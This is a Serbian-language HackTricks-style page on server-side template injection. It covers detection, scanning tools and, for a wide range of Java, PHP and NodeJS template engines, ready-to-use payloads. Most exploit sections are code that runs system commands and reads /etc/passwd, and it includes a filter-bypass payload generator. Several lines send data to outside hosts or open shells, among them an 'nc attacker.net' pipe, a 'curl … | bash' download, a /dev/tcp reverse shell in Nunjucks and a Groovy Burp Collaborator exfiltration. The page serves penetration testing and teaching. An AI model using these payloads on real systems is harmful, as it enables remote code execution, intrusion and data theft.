# SSTI (Server Side Template Injection) {{#include ../../banners/hacktricks-training.md}} ## Šta je SSTI (Server-Side Template Injection) Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost se može naći u raznim tehnologijama, uključujući Jinja. Jinja je popularni engine za šablone koji se koristi u web aplikacijama. Razmotrimo primer koji prikazuje ranjivi deo koda koristeći Jinja: ```python output = template.render(name=request.args.get('name')) ``` U ovom ranjivom kodu, `name` parametar iz korisničkog zahteva se direktno prosleđuje u šablon koristeći `render` funkciju. Ovo može potencijalno omogućiti napadaču da ubaci zlonamerni kod u `name` parametar, što dovodi do server-side template injection. Na primer, napadač bi mogao da kreira zahtev sa payload-om poput ovog: ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` Payload `{{bad-stuff-here}}` se ubacuje u `name` parametar. Ovaj payload može sadržati Jinja template direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše template engine-om, potencijalno stičući kontrolu nad serverom. Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da su korisnički unosi pravilno sanitizovani i validirani pre nego što budu ubačeni u template. Implementacija validacije unosa i korišćenje tehnika eskapiranja koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti. ### Detekcija Da bi se detektovao Server-Side Template Injection (SSTI), inicijalno, **fuzzing template-a** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u template i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju: - Izbačene greške, koje otkrivaju ranjivost i potencijalno template engine. - Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije nego obične podatke. - **Plaintext kontekst**: Razlikovati od XSS-a proverom da li server evaluira template izraze (npr. `{{7*7}}`, `${7*7}`). - **Kontekst koda**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime. #### Faza identifikacije Identifikacija template engine-a uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji izazivaju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog template engine-a. #### Identifikacija putem payload-a

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) ## Alati ### [TInjA](https://github.com/Hackmanit/TInjA) efikasan SSTI + CSTI skener koji koristi nove poliglotove ```bash tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." ``` ### [SSTImap](https://github.com/vladko312/sstimap) ```bash python3 sstimap.py -i -l 5 python3 sstimap.py -u "http://example.com/" --crawl 5 --forms python3 sstimap.py -u "https://example.com/page?name=John" -s ``` ### [Tplmap](https://github.com/epinna/tplmap) ```python python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` ### [Tabela za Injekciju Šablona](https://github.com/Hackmanit/template-injection-table) interaktivna tabela koja sadrži najefikasnije poliglotne injekcije šablona zajedno sa očekivanim odgovorima 44 najvažnija engine-a za šablone. ## Eksploati ### Generički U ovoj **listi reči** možete pronaći **definisane varijable** u okruženjima nekih od engine-a pomenutih u nastavku: - [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) - [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) ### Java **Java - Osnovna injekcija** ```java ${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} // if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}. ``` **Java - Preuzmite sistemske promenljive okruženja** ```java ${T(java.lang.System).getenv()} ``` **Java - Preuzmi /etc/passwd** ```java ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` ### FreeMarker (Java) Možete isprobati svoje payload-ove na [https://try.freemarker.apache.org](https://try.freemarker.apache.org) - `{{7*7}} = {{7*7}}` - `${7*7} = 49` - `#{7*7} = 49 -- (legacy)` - `${7*'7'} Nothing` - `${foobar}` ```java <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} ``` **Freemarker - Obilaženje sandboks** ⚠️ radi samo na Freemarker verzijama ispod 2.3.30 ```java <#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")} ``` **Više informacija** - U FreeMarker sekciji [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) ### Velocity (Java) ```java // I think this doesn't work #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end // This should work? #set($s="") #set($stringClass=$s.getClass()) #set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime()) #set($process=$runtime.exec("cat%20/flag563378e453.txt")) #set($out=$process.getInputStream()) #set($null=$process.waitFor() ) #foreach($i+in+[1..$out.available()]) $out.read() #end ``` **Više informacija** - U Velocity sekciji [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) ### Thymeleaf U Thymeleaf-u, uobičajeni test za SSTI ranjivosti je izraz `${7*7}`, koji se takođe primenjuje na ovaj engine za šablone. Za potencijalnu daljinsku izvršavanje koda, mogu se koristiti izrazi poput sledećih: - SpringEL: ```java ${T(java.lang.Runtime).getRuntime().exec('calc')} ``` - OGNL: ```java ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ``` Thymeleaf zahteva da se ovi izrazi postave unutar specifičnih atributa. Međutim, _inlining izraza_ je podržan za druge lokacije šablona, koristeći sintaksu poput `[[...]]` ili `[(...)]`. Tako, jednostavan SSTI test payload može izgledati kao `[[${7*7}]]`. Međutim, verovatnoća da će ovaj payload raditi je generalno niska. Podrazumevana konfiguracija Thymeleaf-a ne podržava dinamičko generisanje šablona; šabloni moraju biti unapred definisani. Programeri bi morali implementirati svoj `TemplateResolver` da kreiraju šablone iz stringova u hodu, što je retko. Thymeleaf takođe nudi _preprocesiranje izraza_, gde se izrazi unutar dvostrukih donjih crta (`__...__`) preprocesiraju. Ova funkcija se može iskoristiti u konstrukciji izraza, kao što je prikazano u dokumentaciji Thymeleaf-a: ```java #{selection.__${sel.code}__} ``` **Primer ranjivosti u Thymeleaf-u** Razmotrite sledeći kod, koji bi mogao biti podložan eksploataciji: ```xml ``` Ovo ukazuje da, ako motor za obradu šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su: ``` http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) ``` **Više informacija** - [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) {{#ref}} el-expression-language.md {{#endref}} ### Spring Framework (Java) ```java *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())} ``` **Obilaženje filtera** Mogu se koristiti višestruki izrazi promenljivih, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`. - Pročitajte `/etc/passwd` ```java ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` - Prilagođeni skript za generisanje payload-a ```python #!/usr/bin/python3 ## Written By Zeyad Abulaban (zAbuQasem) # Usage: python3 gen.py "id" from sys import argv cmd = list(argv[1].strip()) print("Payload: ", cmd , end="\n\n") converted = [ord(c) for c in cmd] base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec' end_payload = '.getInputStream())}' count = 1 for i in converted: if count == 1: base_payload += f"(T(java.lang.Character).toString({i}).concat" count += 1 elif count == len(converted): base_payload += f"(T(java.lang.Character).toString({i})))" else: base_payload += f"(T(java.lang.Character).toString({i})).concat" count += 1 print(base_payload + end_payload) ``` **Više informacija** - [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) - [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) ### Spring View Manipulation (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x ``` - [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) {{#ref}} el-expression-language.md {{#endref}} ### Pebble (Java) - `{{ someString.toUPPERCASE() }}` Stara verzija Pebble ( < verzija 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` Nova verzija Pebble : ```java {% raw %} {% set cmd = 'id' %} {% endraw %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }} ``` ### Jinjava (Java) ```java {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 ``` Jinjava je projekat otvorenog koda koji je razvio Hubspot, dostupan na [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) **Jinjava - Izvršavanje komandi** Ispravljeno putem [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) ```java {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} ``` **Više informacija** - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava) ### Hubspot - HuBL (Java) - `{% %}` delimičari izjava - `{{ }}` delimičari izraza - `{# #}` delimičari komentara - `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206 - `{{'a'.toUpperCase()}}` - "A" - `{{'a'.concat('b')}}` - "ab" - `{{'a'.getClass()}}` - java.lang.String - `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest - `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() Pretražujte "com.hubspot.content.hubl.context.TemplateContextRequest" i otkriven je [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/). ```java {{request.isDebug()}} //output: False //Using string 'a' to get an instance of class sun.misc.Launcher {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}} //output: sun.misc.Launcher@715537d4 //It is also possible to get a new object of the Jinjava class {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}} //output: com.hubspot.jinjava.JinjavaConfig@78a56797 //It was also possible to call methods on the created object by combining the {% raw %} {% %} and {{ }} blocks {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %} {% endraw %} {{ji.render('{{1*2}}')}} //Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}. //{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} //output: xxx //RCE {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} //output: java.lang.UNIXProcess@1e5f456e //RCE with org.apache.commons.io.IOUtils. {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //output: netstat execution //Multiple arguments to the commands Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ``` **Više informacija** - [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) ### Expression Language - EL (Java) - `${"aaaa"}` - "aaaa" - `${99999+1}` - 100000. - `#{7*7}` - 49 - `${{7*7}}` - 49 - `${{request}}, ${{session}}, {{faceContext}}` Expression Language (EL) je osnovna funkcija koja olakšava interakciju između prezentacionog sloja (kao što su web stranice) i aplikacione logike (kao što su managed beans) u JavaEE. Široko se koristi u više JavaEE tehnologija za pojednostavljenje ove komunikacije. Ključne JavaEE tehnologije koje koriste EL uključuju: - **JavaServer Faces (JSF)**: Koristi EL za povezivanje komponenti u JSF stranicama sa odgovarajućim podacima i akcijama na backendu. - **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa aplikacionim podacima. - **Contexts and Dependency Injection for Java EE (CDI)**: EL se integriše sa CDI kako bi omogućio nesmetanu interakciju između web sloja i managed beans, osiguravajući koherentniju strukturu aplikacije. Pogledajte sledeću stranicu da biste saznali više o **eksploataciji EL interpretera**: {{#ref}} el-expression-language.md {{#endref}} ### Groovy (Java) Sledeći zaobilaženja Security Manager-a su preuzeta iz ovog [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). ```java //Basic Payload import groovy.*; @groovy.transform.ASTTest(value={ cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net " assert java.lang.Runtime.getRuntime().exec(cmd.split(" ")) }) def x //Payload to get output import groovy.*; @groovy.transform.ASTTest(value={ cmd = "whoami"; out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next() cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net"; java.lang.Runtime.getRuntime().exec(cmd2.split(" ")) }) def x //Other payloads new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA=="))) this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120})) ``` ### Ostali Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) ## ### Smarty (PHP) ```php {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 ``` **Više informacija** - U Smarty sekciji [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) - `{{7*7}} = 49` - `${7*7} = ${7*7}` - `{{7*'7'}} = 49` - `{{1/0}} = Greška` - `{{foobar}} Ništa` ```python #Get Info {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} #File read "{{'/etc/passwd'|file_excerpt(1,30)}}"@ #Exec code {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{['id',""]|sort('system')}} #Hide warnings and errors for automatic exploitation {{["error_reporting", "0"]|sort("ini_set")}} ``` **Twig - Format šablona** ```php $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` **Više informacija** - U Twig i Twig (Sandboxed) sekciji [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) Plates je engine za templating koji je nativan za PHP, inspirisan Twig-om. Međutim, za razliku od Twiga, koji uvodi novu sintaksu, Plates koristi nativni PHP kod u šablonima, što ga čini intuitivnim za PHP programere. Controller: ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` Šablon stranice: ```php layout('template', ['title' => 'User Profile']) ?>

User Profile

Hello, e($name)?>

``` Šablon rasporeda: ```html <?=$this->e($title)?> section('content')?> ``` **Više informacija** - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates) ### PHPlib i HTML_Template_PHPLIB (PHP) [HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) je isto što i PHPlib, ali portovan na Pear. `authors.tpl` ```html {PAGE_TITLE}
Authors
Name Email
{NUM_AUTHORS}
{AUTHOR_NAME} {AUTHOR_EMAIL}
``` `authors.php` ```php 'cweiske@php.net', 'Bjoern Schotte' => 'schotte@mayflower.de' ); require_once 'HTML/Template/PHPLIB.php'; //create template object $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep'); //load file $t->setFile('authors', 'authors.tpl'); //set block $t->setBlock('authors', 'authorline', 'authorline_ref'); //set some variables $t->setVar('NUM_AUTHORS', count($authors)); $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d')); //display the authors foreach ($authors as $name => $email) { $t->setVar('AUTHOR_NAME', $name); $t->setVar('AUTHOR_EMAIL', $email); $t->parse('authorline_ref', 'authorline', true); } //finish and echo echo $t->finish($t->parse('OUT', 'authors')); ?> ``` **Više informacija** - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib) ### Ostali PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) ### Jade (NodeJS) ```javascript - var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80') ``` ```javascript #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} ``` **Više informacija** - U Jade sekciji [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) ### patTemplate (PHP) > [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koja se ne kompajlira, koja koristi XML tagove za deljenje dokumenta na različite delove ```xml This is the main page. It contains another template. Hello {NAME}.
``` **Više informacija** - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate) ### Handlebars (NodeJS) Putanja Traversal (više informacija [ovde](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). ```bash curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' ``` - \= Greška - ${7\*7} = ${7\*7} - Ništa ```java {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} URLencoded: %7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D ``` **Više informacija** - [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) ### JsRender (NodeJS) | **Šablon** | **Opis** | |------------|----------------------------------------| | | Evaluiraj i renderuj izlaz | | | Evaluiraj i renderuj HTML kodiran izlaz| | | Komentar | | i | Dozvoli kod (onemogućeno po defaultu) | - \= 49 **Klijentska strana** ```python {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` **Server Side** ```bash {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}} ``` **Više informacija** - [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) ### PugJs (NodeJS) - `#{7*7} = 49` - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}` **Primer renderovanja sa servera** ```javascript var pugjs = require("pug") home = pugjs.render(injected_page) ``` **Više informacija** - [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/) ### NUNJUCKS (NodeJS) - \{{7\*7\}} = 49 - \{{foo\}} = Nema izlaza - \#{7\*7} = #{7\*7} - \{{console.log(1)\}} = Greška ```javascript { { range.constructor( "return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')" )() } } { { range.constructor( "return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')" )() } } ``` **Više informacija** - [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) ### Ostali NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

